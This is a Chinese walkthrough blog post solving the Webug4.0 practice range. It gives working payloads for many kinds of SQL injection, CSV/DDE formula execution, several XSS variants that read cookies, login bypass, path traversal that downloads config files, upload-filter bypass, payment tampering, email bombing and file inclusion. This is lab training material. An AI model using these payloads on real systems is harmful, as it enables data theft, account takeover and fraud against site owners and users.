Webug4.0靶场通关

news/2024/12/1 8:44:29/

14.Webug4.0靶场通关

显错注入

首先整体浏览网站

在这里插入图片描述

注入点:

control/sqlinject/manifest_error.php?id=1

判断注入类型

输入: and 1=1 正常, 再输入: and 1=2 还正常, 排除数字型

在这里插入图片描述

输入单引号: ’ 网页发生变化

在这里插入图片描述

输入’ – q注释掉单引号,页面回显正常 则为字符型

在这里插入图片描述

判断字段数

构造payload:

’ order by 3-- q

页面回显错误,而order by 2则回显正常,所以字段数为2

在这里插入图片描述

查找回显点

构造payload:

’ union select 1,2 – q

我们可以在2处得到我们想要的内容

在这里插入图片描述

查询数据库

’ union select 1,database() – q

为webug

在这里插入图片描述

查询所有数据库

’ union select 1,group_concat(schema_name) from information_schema.schemata – q

为information_schema,mysql,performance_schema,webug,webug_sys,webug_width_byte

在这里插入图片描述

查询数据库webug中的表

’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘webug’ – q

为data_crud,env_list,env_path,flag,sqlinjection,user,user_test

在这里插入图片描述

查看flag表的所有字段

’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘webug’ and table_name=‘flag’-- q

为id,flag

在这里插入图片描述

查看flag字段的内容

’ union select 1,group_concat(flag) from flag-- q

为dfafdasfafdsadfa

在这里插入图片描述

布尔注入

输入单引号: ’ 网页发生变化

在这里插入图片描述

输入’ – q注释掉单引号,页面回显正常 则为字符型

在这里插入图片描述

判断数据库长度为5

id=1’ and length(database())=5–+

爆破数据库名字为webug

id=1’ and ascii(substr(database(),1,1))=119 --+

判断当前数据库表数量为7

id=1’ and (select count(*) from information_schema.tables where table_schema=database())=7–+

判断第二张表,表名的长度为8

id=1’ and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8–+

爆破第二张表表名 第一个字符的ascii码值:101

id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101–+

爆破出8个ascii值为:101 110 118 95 108 105 115 116 解码为env_list

猜解env_list的字段数量为8

id=1’ and (select count(column_name) from information_schema.columns where table_name=‘env_list’)=8–+

猜解env_list第一个列名字符长度为2

id=1’ and (select length(column_name) from information_schema.columns where table_name=‘env_list’ limit 0,1)=2–+

猜解env_list第二个列名字符长度为7

id=1’ and (select length(column_name) from information_schema.columns where table_name=‘env_list’ limit 1,1)=7–+

猜解env_list第五个列名字符长度

id=1’ and (select length(column_name) from information_schema.columns where table_name=‘env_list’ limit 5,1)=7–+

爆破第五个列名,第一个字符的ascii为101

id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 5,1),1,1))=101–+

爆破第五个列名,第二个字符的ascii

id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 5,1),2,1))=110–+

爆破了7个字符,ascii码为101 110 118 70 108 97 103

解码后等于envFlag

猜解envFlag字段的记录为20

id=1’ and (select count(envFlag) from env_list)=20–+

猜解envFlag字段第一条字段的字符数为16

id=1’ and (select length(envFlag) from env_list limit 0,1)=16–+

猜解envFlag字段第二条字段有多少个字符

id=1’ and (select length(envFlag) from env_list limit 1,1)=9–+

猜解flag

id=1’ and ascii(substr((select envFlag from env_list limit 1,1),1,1))=102–+

id=1’ and ascii(substr((select envFlag from env_list limit 1,1),2,1))=100–+

最终爆破完flag的ascii值:

102 100 115 97 102 115 100 102 97

解码为:

fdsafsdfa

延时注入

延时注入语句和盲注的语句都类似,不过就是多了一个if语句去判断,如果正确或不正确都会返回相对应的响应时间。

可以看到我以下payload的规则:

1' and if(/*!上一关盲注语句*/,sleep(3),1)--+

出现延迟,说明存在注入

1’ and sleep(3)–+

判断数据库字符长度

1’ and if(length(database())=5,sleep(3),1)–+

爆破数据库名

1’ and if(ascii(substr(database(),1,1))=119,sleep(3),1)–+

1’ and if(ascii(substr(database(),2,1))=101,sleep(3),1)–+

判断当前数据库表数量

1’ and if((select count(*) from information_schema.tables where table_schema=database())=7,sleep(3),1)–+

判断第一张表,表名的长度

1’ and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9,sleep(3),1)–+

判断第二张表,表名的长度

1’ and if((select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8,sleep(3),1)–+

爆破第二张表表名

第一个字符的ascii码值

1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101,sleep(3),1)–+

第二个字符的ascii码值

1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=110,sleep(3),1)–+

猜解表有多少个字段

1’ and if((select count(column_name) from information_schema.columns where table_name=‘env_list’)=8,sleep(3),1)–+

猜解表的第一个列名字符长度

1’ and if((select length(column_name) from information_schema.columns where table_name=‘env_list’ limit 0,1)=2,sleep(3),1)–+

爆破第五个列名,第一个字符的ascii

1’ and if(ascii(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 5,1),1,1))=101,sleep(3),1)–+

爆破第五个列名,第二个字符的ascii

猜解envFlag字段有多少条记录

1’ and if((select count(envFlag) from env_list)=20,sleep(3),1)–+

猜解envFlag字段第三条字段有多少个字符(flag在第三条记录)

1’ and if((select length(envFlag) from env_list limit 2,1)=9,sleep(3),1)–+

猜解flag

1’ and if(ascii(substr((select envFlag from env_list limit 2,1),1,1))=103,sleep(3),1)–+

1’ and if(ascii(substr((select envFlag from env_list limit 2,1),2,1))=102,sleep(3),1)–+

最后flag的ASCII码值为:

103 102 100 103 100 102 115 100 103

解码:

gfdgdfsdg

post注入

首先整体浏览网页

在这里插入图片描述

搜索框可能存在注入点,burp抓包,构造payload:

1’

出现报错

在这里插入图片描述

构造payload:

1’ or sleep(3)–+

页面出现延迟

在这里插入图片描述

剩下的操作和上一关一样 ,只需要将and改成or即可。

过滤注入

同上,并没有过滤。

宽字节注入

报错

id=1%df%27

如下

在这里插入图片描述

正常显示

id=1%df%27–+

如下

在这里插入图片描述

查看当前字段数,字段数为2

id=1%df%27 order by 2–+

如下

在这里插入图片描述

查看显示位

id=1%df%27 and 1=2 union select 1,2–+

我们可以在2处获得我们想要的内容

在这里插入图片描述

查看所有数据库

id=1%df%27%20and%201=2%20union%20select%201,concat(schema_name,0x7e)%20from%20information_schema.schemata–+

为information_schemamysqlperformance_schemawebugwebug_syswebug_width_byte

在这里插入图片描述

查看webug数据库下的所有表

id=1%df%27 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7765627567–+

为data_crud,env_list,env_path,flag,sqlinjection,user,user_test

在这里插入图片描述

查看env_list表下所有字段

id=1%df%27 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656E765F6C697374–+

为id,envName,envDesc,envIntegration,delFlag,envFlag,level,type

在这里插入图片描述

查看flag

id=1%df%27 and 1=2 union select 1,envFlag from webug.env_list limit 5,1–+

为dfsadfsadfas

在这里插入图片描述

xxe注入

整体浏览网站

在这里插入图片描述

因为是xxe注入,所以直接输入xml格式数据传输过去

<?xml version="1.0"?>
<helo><batch id="test"><title>xxe</title><test>xxe test</test></batch>
</helo>

可以看到我们输入的内容会被显示出来,那么就代表xml代码能够被网站解析执行。

在这里插入图片描述

csv注入

1、什么是csv注入?

CSV公式注入(CSV Injection)是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。当该函数有合法意图时,很易被滥用并允许恶意代码执行。

2.cvs注入的原理时是什么?

当输入一个公式,会被Excel自动运算并执行。而当你输入一个别的Excel本身不存在的功能时,Excel就会被微软的另一种机制:DDE机制调用。

3.什么是DDE?

DDE是一种动态数据交换机制(Dynamic Data Exchange,DDE)。使用DDE通讯需要两个Windows应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。客户机应用程序向当前所激活的服务器应用程序发送一条消息请求信息,服务器应用程序根据该信息作出应答,从而实现两个程序之间的数据交换。

构造payload:

=cmd|’ /C calc’!A0

在单元格中输入

在这里插入图片描述

按下回车键,会出现恶意提示

在这里插入图片描述

点击是,会弹出计算器

在这里插入图片描述

反射型xss

整体浏览网页

在这里插入图片描述

可以看到1是我们可控制点

pyaload:

id=1<script>alert(document.cookie)</script>

成功弹窗

在这里插入图片描述

存储型xss

整体浏览网页,可以看到最后有一个留言框

在这里插入图片描述

构造payload:

<script>alert(document.cookie)</script>

成功弹窗

在这里插入图片描述

万能密码登陆

整体浏览网页

在这里插入图片描述

账号:admin

密码:’ or ‘1’='1

在这里插入图片描述

DOM型xss

打开靶场,可以看到输入框

在这里插入图片描述

构造payload:

"required=" "><script>alert(document.cookie)</script><name="

成功弹窗

在这里插入图片描述

过滤xss

过滤了script字符

在这里插入图片描述

换个标签:

<img src=1 onerror=alert(document.cookie)>

成功弹窗

在这里插入图片描述

链接注入

"链接注入"是修改站点内容的行为,其方式为将外部站点的 URL 嵌入其中,或将有易受攻击的站点中的脚本 的 URL 嵌入其中。将 URL 嵌入易受攻击的站点中,攻击者便能够以它为平台来启动对其他站点的攻击,以及攻击这个易受攻击的站点本身。

在这些可能的攻击中,有些需要用户在攻击期间登录站点。攻击者从这一易受攻击的站点本身启动这些攻击,成功的机会比较大,因为用户登录的可能性更大。

“链接注入”漏洞是用户输入清理不充分的结果,清理结果会在稍后的站点响应中返回给用户。攻击者能够将危险字符注入响应中,便能够嵌入 URL 及其他可能的内容修改。

整体浏览网页

在这里插入图片描述

构造payload:

id=<a href="http://baidu.com">baidu</a>

成功将百度嵌入到页面中

在这里插入图片描述

任意文件下载

打开网页,看到下载按钮

在这里插入图片描述

鼠标右键,点击复制链接地址

在这里插入图片描述

构造payload:

file=template/assets/img/1.txt

file=index.php

可以下载index.php,看到php源码

在这里插入图片描述

mysql配置文件下载

此题与上题原理相同,不过题目是需要我们下载mysql的配置文件

…/mysql/时,执行了下载命令,说明存在mysql目录

file=…/mysql/

直接下载my.ini

file=…/mysql/my.ini

成功下载

在这里插入图片描述

文件上传(前端拦截)

整体浏览网页,选择php类型的文件时会显示不允许上传

在这里插入图片描述

将phpinfo后缀名修改为png,burp抓包

在这里插入图片描述

将后缀名重新修改为php

在这里插入图片描述

点击上传,得到文件路径

在这里插入图片描述

成功访问

在这里插入图片描述

文件上传(畸形文件)

将文件命名为:

phpinfo.png

burp抓包后将文件名改成.pphphp

phpinfo.pphphp

即可绕过

在这里插入图片描述

访问路径

/template/upload/1616405351.php

上传成功

在这里插入图片描述

支付漏洞

进入靶场,点击立刻购买时,可以看到我们直接购买了商品

在这里插入图片描述

打开burp suite,点击立刻购买时,拦截数据包

在这里插入图片描述

可以看到金额为100,我们修改成0.01,然后发包,提示我们花了0.01购买了商品

在这里插入图片描述

邮箱轰炸

输入邮箱,点击注册,然后利用burp suite进行抓包

4p41ztex@linshiyouxiang.net

在这里插入图片描述

发送到intruder模块

设置payload:

选择Null payload

输入发送次数,20次

在这里插入图片描述

URL跳转

整体浏览网页

在这里插入图片描述

复制链接地址

在这里插入图片描述

构造payload:

url=https://www.baidu.com

url=https://www.bilibili.com

成功跳转

在这里插入图片描述

文件包含漏洞

整体浏览网站,本身就已经证明了是包含漏洞

在这里插入图片描述

构造payload:

filename=…/…/control/upload_file/upload_file_3.php

成功跳转到文件上传页面

在这里插入图片描述

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirectFreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

http://www.ppmy.cn/news/22443.html

相关文章

Linux学习之VMware虚拟机安装

前言 今天是癸卯年正月十五元宵节&#xff0c;在此祝大家元宵快乐&#xff01; 这篇文章主要给大家介绍安装VMware虚拟机的步骤&#xff0c;话不多说&#xff0c;开始安装&#xff01; 安装准备 VWware-workstation rhel-8.2-x86_64-dvd.iso 64 位操作系统 VMware安装 可…

EAPOL四次握手流程

EAPOL四次握手流程协议功能数据帧格式四次握手流程数据帧日志解析组播代码协议 802.11i 功能 作用&#xff1a;派生和交换两组密钥 密钥包括ptk加解密单播数据&#xff0c;由用户设置的pmk扩展&#xff08;在setwork的时候通过pasapharse生成&#xff09; gtk加密解组播数据…

可变参模板指南

可变参模板 文章目录可变参模板可变参函数模板基本外观和介绍展开参数包(获取参数包的值)错误的演示正确的演示采取递归方式采取逗号表达式为什么需要逗号表达式其他方式应用1.求最大值&#xff08;可接受多个参数&#xff09;2. 用可变参数模板函数模仿printf的功能3. 使用tup…

Vue理解

1.是什么&#xff1f;Vue是一个用于创建用户界面的开源JavaScript框架&#xff0c;也是一个创建单页应用的web应用框架。Vue所关注的核心是MVC模式中的视图层&#xff0c;同时它也能方便地获取数据更新&#xff0c;并通过组件内部特定的方法实现视图与模型的交互。2.Vue核心特性…

Pyspark基础入门3

Pyspark 注&#xff1a;大家觉得博客好的话&#xff0c;别忘了点赞收藏呀&#xff0c;本人每周都会更新关于人工智能和大数据相关的内容&#xff0c;内容多为原创&#xff0c;Python Java Scala SQL 代码&#xff0c;CV NLP 推荐系统等&#xff0c;Spark Flink Kafka Hbase Hi…

C++高级教程——C++多线程

C高级教程——C多线程C 多线程创建线程终止线程实例连接和分离线程C 多线程 多线程是多任务处理的一种特殊形式&#xff0c;多任务处理允许让电脑同时运行两个或两个以上的程序。在一般情况下&#xff0c;有两种类型的多任务处理&#xff1a;基于进程和基于线程。 基于进程的…

Idea 运行多个微服务 Idea 一个服务开启多个端口运行 idea 开启多个端口服务

Idea 运行多个微服务 Idea 一个服务开启多个端口运行 idea 开启多个端口服务 一、情景描述 在使用idea 练习微服务项目时&#xff0c;如 要测试负载均衡功能&#xff0c;那么一个项目需要开启多个不同端口的服务&#xff0c;这个在idea中 如何实现呢&#xff1f; 二、设置步骤 …

Linux系统的服务管理

1、服务的概念 操作系统中在后台持续运行的程序&#xff0c;本身并没有操作界面&#xff0c;需要通过端口号访问和操作。CentOS 6和CentOS 7的服务管理有很大区别&#xff0c;我们分别来看。 2、CentOS6服务 ①service命令 启动服务&#xff1a;service 服务名 start 停止…